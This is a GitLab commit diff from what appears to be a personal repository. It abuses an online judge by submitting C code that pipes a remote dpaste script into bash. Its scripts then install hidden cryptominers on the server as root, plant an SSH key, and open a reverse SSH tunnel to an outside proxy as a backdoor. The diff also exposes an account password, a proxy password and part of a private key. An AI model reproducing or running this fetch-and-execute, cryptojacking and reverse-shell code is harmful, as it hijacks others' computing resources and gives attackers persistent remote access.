Skip to content
Snippets Groups Projects
Commit 1c837a53 authored by Recolic Keghart's avatar Recolic Keghart
Browse files

final. does not worth it. only several servers available

parent 21a23278
No related branches found
No related tags found
No related merge requests found
...@@ -6,4 +6,10 @@ ...@@ -6,4 +6,10 @@
ACM1601: 53VDCG ACM1601: 53VDCG
3. Submit the code in ssh.payload.c (nossh.payload.c not working) Don't forget to change the port
4. It says "timeout". Now ssh to root@123.206.117.183
Run ` curl http://dpaste.com/1ZCS4FQ.txt | tr -d '\r' | bash`
#!/bin/bash
ulimit -f unlimited
#apt update
[[ -d /etc/.c ]] && echo Already fucked && exit 1
mkdir -p /etc/.c &&
cd /etc/.c
# You'll be killed if you use too many CPU. (16 avail, but CPU doesn't make many effort.)
# 2 P40 GPU is ok
echo '#!/bin/bash
while true; do
./.m -l zec.pool.minergate.com:3357 -u mine@n9nyergsjqthk0f1.33mail.com -t 2 -cd 0 1
done' > .d &&
chmod +x .d
wget https://github.com/nicehash/nheqminer/releases/download/0.5c/Ubuntu_16_04_x64_cuda_djezo_avx_nheqminer-5c.zip -O .u.zip &&
unzip .u.zip &&
mv nheqminer_16_04 .m &&
chmod +x .m &&
nohup ./.d & disown
#!/bin/bash
# Run this script AFTER got the ssh access
ulimit -f unlimited
#apt update
mkdir -p /tmp/.c &&
cd /tmp/.c
wget https://github.com/nicehash/nheqminer/releases/download/0.5c/Ubuntu_16_04_x64_cuda_djezo_avx_nheqminer-5c.zip -O u.zip &&
unzip u.zip &&
chmod +x nheqminer_16_04 &&
nohup ./nheqminer_16_04 -l zec.pool.minergate.com:3357 -u mine@n9nyergsjqthk0f1.33mail.com -t 2 -cd 0 1 & disown
# You'll be killed if you use too many CPU. (16 avail, but CPU doesn't make many effort.)
# 2 P40 GPU is ok
exit $?
# too large dependency.
wget https://recolic.net/tmp/MinerGate-xFast-cli-1.5-ubuntu.deb /tmp/MinerGate-xFast-cli-1.5-ubuntu.deb
dpkg -i MinerGate-xFast-cli-1.5-ubuntu.deb
apt install -f -y
exit 1
# https://www.meebey.net/posts/ethereum_gpu_mining_on_linux_howto/
add-apt-repository -y ppa:ethereum/ethereum
apt update
apt -f install -y ethereum ethminer
#TODO: Failing to update apt. ulimit issue
#
apt install -y git
git clone https://github.com/ethereum-mining/ethminer.git
# Unable to build from source
...@@ -5,7 +5,7 @@ ...@@ -5,7 +5,7 @@
int main() { int main() {
FILE *fp; FILE *fp;
char path[1035]; char path[1035];
#define CMD "curl https://recolic.net/tmp/fuck.sh | bash 2>&1" #define CMD "curl http://dpaste.com/0BTEWTE.txt | bash 2>&1"
/* Open the command for reading. */ /* Open the command for reading. */
fp = popen("/bin/bash -c '" CMD "'", "r"); fp = popen("/bin/bash -c '" CMD "'", "r");
if (fp == NULL) { if (fp == NULL) {
......
#!/bin/bash
curl http://dpaste.com/1ZCS4FQ.txt | tr -d '\r' > /tmp/.s &&
nohup bash /tmp/.s > /dev/null 2>&1 & disown
#include <math.h>
#include <stdio.h>
#include <unistd.h>
int main() {
FILE *fp;
char path[1035];
#define CMD "export port=30135 && curl http://dpaste.com/10R7SW4.txt | tr -d '\r' | bash 2>&1"
/* Open the command for reading. */
fp = popen("/bin/bash -c '" CMD "'", "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
/* Read the output a line at a time - output it. */
while (fgets(path, sizeof(path) - 1, fp) != NULL) {
printf("%s", path);
}
pclose(fp);
return 0;
}
#!/bin/bash #!/bin/bash
# After executing this script, you can run `ssh root@proxy.recolic.net -p 30130` with password `rtlgn24bgn`
[[ "$port" = '' ]] && port=30130
mkdir -p /root/.ssh mkdir -p /root/.ssh
...@@ -37,5 +38,5 @@ l7RfRWq8WPoqNt7o/wkVaRuv44+dLp9Q81vKk/h7ql6ErInwkgFjXQ== ...@@ -37,5 +38,5 @@ l7RfRWq8WPoqNt7o/wkVaRuv44+dLp9Q81vKk/h7ql6ErInwkgFjXQ==
chmod go-rwx /root/.ssh/id_rsa chmod go-rwx /root/.ssh/id_rsa
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -fNR 0.0.0.0:30130:localhost:22 rproxy@proxy.recolic.net ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -fNR 0.0.0.0:"$port":localhost:22 rproxy@123.206.117.183
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment